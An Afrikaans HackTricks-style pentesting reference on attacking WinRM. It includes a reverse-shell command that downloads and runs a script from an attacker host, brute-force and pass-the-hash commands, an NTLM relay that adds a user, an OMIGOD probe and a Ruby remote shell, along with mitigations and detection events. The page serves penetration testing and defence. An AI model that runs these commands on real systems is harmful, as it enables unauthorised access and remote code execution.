5985,5986 - Pentesting WinRM
Reading time: 12 minutes
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
WinRM
Windows Remote Management (WinRM) word beklemtoon as 'n protokol deur Microsoft wat die afgeleë bestuur van Windows-stelsels deur HTTP(S) moontlik maak, met SOAP in die proses. Dit is fundamenteel aangedryf deur WMI, wat homself as 'n HTTP-gebaseerde koppelvlak vir WMI-operasies aanbied.
Die teenwoordigheid van WinRM op 'n masjien maak dit moontlik vir eenvoudige afgeleë administrasie via PowerShell, soortgelyk aan hoe SSH vir ander bedryfstelsels werk. Om te bepaal of WinRM werksaam is, word dit aanbeveel om na die opening van spesifieke poorte te kyk:
- 5985/tcp (HTTP)
- 5986/tcp (HTTPS)
'n Geopende poort uit die bogenoemde lys dui aan dat WinRM opgestel is, wat pogings om 'n afgeleë sessie te begin, toelaat.
Inisieer 'n WinRM-sessie
Om PowerShell vir WinRM te konfigureer, kom Microsoft se Enable-PSRemoting
cmdlet in die spel, wat die rekenaar opstel om afgeleë PowerShell-opdragte te aanvaar. Met verhoogde PowerShell-toegang kan die volgende opdragte uitgevoer word om hierdie funksionaliteit in te stel en enige gasheer as vertrou te verklaar:
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
Hierdie benadering behels die toevoeging van 'n wildcard aan die trustedhosts
konfigurasie, 'n stap wat versigtige oorweging vereis weens die implikasies daarvan. Dit word ook opgemerk dat dit nodig mag wees om die netwerk tipe van "Public" na "Work" te verander op die aanvaller se masjien.
Boonop kan WinRM afgeleë geaktiveer word met die wmic
opdrag, soos hieronder gedemonstreer:
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
Hierdie metode stel die afstandsopstelling van WinRM in staat, wat die buigsaamheid in die bestuur van Windows-masjiene van ver verbeter.
Toets of geconfigureer
Om die opstelling van jou aanvalmasjien te verifieer, word die Test-WSMan
opdrag gebruik om te kyk of die teiken WinRM korrek geconfigureer het. Deur hierdie opdrag uit te voer, moet jy verwag om besonderhede te ontvang rakende die protokolweergawe en wsmid, wat 'n suksesvolle konfigurasie aandui. Hieronder is voorbeelde wat die verwagte uitvoer vir 'n geconfigureerde teiken teenoor 'n ongeconfigureerde een demonstreer:
- Vir 'n teiken wat is korrek geconfigureer, sal die uitvoer soos volg lyk:
Test-WSMan <target-ip>
Die antwoord moet inligting bevat oor die protokolweergawe en wsmid, wat aandui dat WinRM korrek opgestel is.
- Aan die ander kant, vir 'n teiken wat nie vir WinRM geconfigureer is nie, sal dit lei tot geen sulke gedetailleerde inligting nie, wat die afwesigheid van 'n behoorlike WinRM-opstelling beklemtoon.
Voer 'n opdrag uit
Om ipconfig
op 'n teikenmasjien op afstand uit te voer en die uitvoer te sien, doen:
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
Jy kan ook 'n opdrag van jou huidige PS-konsol uitvoer via Invoke-Command. Neem aan dat jy plaaslik 'n funksie genaamd enumeration het en jy wil dit in 'n afstandrekenaar uitvoer, jy kan doen:
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
Voer 'n Skrip uit
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
Kry omgekeerde-shel
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
Kry 'n PS-sessie
Om 'n interaktiewe PowerShell-sessie te kry, gebruik Enter-PSSession
:
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
# Save session in var
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)
Die sessie sal in 'n nuwe proses (wsmprovhost) binne die "slagoffer" loop
WinRM Dwing om Oop te Wees
Om PS Remoting en WinRM te gebruik, maar die rekenaar is nie gekonfigureer nie, kan jy dit aktiveer met:
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
Saving and Restoring sessions
Dit sal nie werk nie as die taal op die afstandrekenaar beperk is.
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
#You can save a session inside a variable
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1
Binne hierdie sessies kan jy PS-skripte laai met behulp van Invoke-Command
Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
Foute
As jy die volgende fout vind:
enter-pssession : Verbinding met die afstandsbediener 10.10.10.175 het gefaal met die volgende foutboodskap : Die WinRM-kliënt kan nie die versoek verwerk nie. As die verifikasieskema verskil van Kerberos, of as die kliëntrekenaar nie aan 'n domein gekoppel is nie, moet HTTPS-vervoer gebruik word of die bestemmingsmasjien moet by die TrustedHosts-konfigurasie-instelling gevoeg word. Gebruik winrm.cmd om TrustedHosts te konfigureer. Let daarop dat rekenaars in die TrustedHosts-lys moontlik nie geverifieer word nie. Jy kan meer inligting daaroor kry deur die volgende opdrag uit te voer: winrm help config. Vir meer inligting, sien die about_Remote_Troubleshooting Help onderwerp.
Die poging op die kliënt (inligting van hier):
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
WinRM-verbinding in linux
Brute Force
Wees versigtig, brute-forcing winrm kan gebruikers blokkeer.
#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
#Just check a pair of credentials
# Username + Password + CMD command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm
Gebruik van evil-winrm
gem install evil-winrm
Lees dokumentasie op sy github: https://github.com/Hackplayers/evil-winrm
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
Om evil-winrm te gebruik om met 'n IPv6 adres te verbind, skep 'n inskrywing binne /etc/hosts wat 'n domeinnaam aan die IPv6 adres toewys en verbind met daardie domein.
Oordra die hash met evil-winrm
evil-winrm -u <username> -H <Hash> -i <IP>
Gebruik van 'n PS-docker masjien
docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds
Gebruik van 'n ruby-skrip
Kode onttrek van hier: https://alamot.github.io/winrm_shell/
require 'winrm-fs'
# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
# https://alamot.github.io/winrm_shell/
conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)
class String
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end
command=""
file_manager = WinRM::FS::FileManager.new(conn)
conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end
Shodan
port:5985 Microsoft-HTTPAPI
Onlangse Kwetsbaarhede & Aanvallende Tegnieke (2021-2025)
NTLM relay direk na WinRM (WS-MAN)
Sedert Impacket 0.11 (Mei 2023) kan ntlmrelayx.py
gevangen NTLM-akkrediteerlinge regstreeks na 'n WS-MAN/WinRM luisteraar relay. Wanneer 'n gasheer steeds luister op ongemerkte HTTP (5985) kan 'n aanvaller mitm6 (of Responder) kombineer om outentisering af te dwing en SYSTEM-vlak kode-uitvoering te verkry:
sudo ntlmrelayx.py -t wsman://10.0.0.25 --no-smb-server -smb2support \
--command "net user pwned P@ssw0rd! /add"
Mitigaties
- Deaktiveer HTTP luisteraars –
Set-Item WSMan:\localhost\Service\EnableCompatibilityHttpListener -Value false
- Dwing HTTPS af en aktiveer Uitgebreide Beskerming vir Verifikasie (EPA) op onlangse Windows weergawes.
OMIGOD – CVE-2021-38647 (Azure OMI)
Azure Linux agente gebruik die Open Management Infrastructure (OMI) diens wat die WinRM/WS-MAN API op poorte 5985/5986 blootstel. 'n Logiese fout het onaangekondigde RCE as root toegelaat:
curl http://victim:5985/wsman -H 'Content-Type:text/xml' -d '<xml …/>'
Patch of verwyder OMI (weergawe ≥ 1.6.8-1) en blokkeer daardie poorte vanaf die Internet.
WSMan.Automation COM misbruik vir laterale beweging
WinRM kan sonder PowerShell gedryf word via die WSMan.Automation
COM objek – nuttig op stelsels in Beperkte-Taal modus. Gereedskap soos SharpWSManWinRM verpak hierdie tegniek:
$ws = New-Object -ComObject 'WSMan.Automation'
$session = $ws.CreateSession('http://srv01:5985/wsman',0,$null)
$cmdId = $session.Command('cmd.exe',@('/c','whoami'))
$session.Signal($cmdId,0)
Die uitvoeringsketting (svchost → wmiprvse → cmd.exe
) is identies aan klassieke PS-Remoting.
Gereedskap opdaterings
- Evil-WinRM v3.x (2024) – ondersteun nou Kerberos (
-k
/--spn
) en sertifikaat-gebaseerde verifikasie (--cert-pem
/--key-pem
), sessielogging (-L
) en die vermoë om afstandspad voltooiing te deaktiveer (-N
).
RHOST=10.0.0.25 evil-winrm -i $RHOST -u j.doe -k --spn HTTP/$RHOST
- Python –
pypsrp
0.9 (2024) bied WinRM & PS-Remoting vanaf Linux, insluitend CredSSP en Kerberos:
from psrp.client import Client
c = Client('srv01', username='ACME\\j.doe', ssl=True)
print(c.execute_cmd('ipconfig /all').std_out.decode())
- Detectie – monitor die Microsoft-Windows-WinRM/Operational log:
- Gebeurtenis 91 / 163 – skulp geskep
- Gebeurtenis 182 – verifikasiefout
- In die Sekuriteit log registreer gebeurtenis 4262 die bron IP (bygevoeg Julie 2022 CUs). Versamel hierdie sentraal en waarsku oor anonieme of eksterne IP's.
Shodan
port:5985 Microsoft-HTTPAPI
Verwysings
-
https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/
-
https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/
-
https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure
-
https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/
HackTricks Outomatiese Opdragte
Protocol_Name: WinRM #Protocol Abbreviation if there is one.
Port_Number: 5985 #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.
sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p ‘MySuperSecr3tPass123!’
https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/
ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory or -s to upload scripts (sherlock)
menu
invoke-binary `tab`
#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))
https://book.hacktricks.wiki/en/network-services-pentesting/5985-5986-pentesting-winrm.html
Entry_2:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.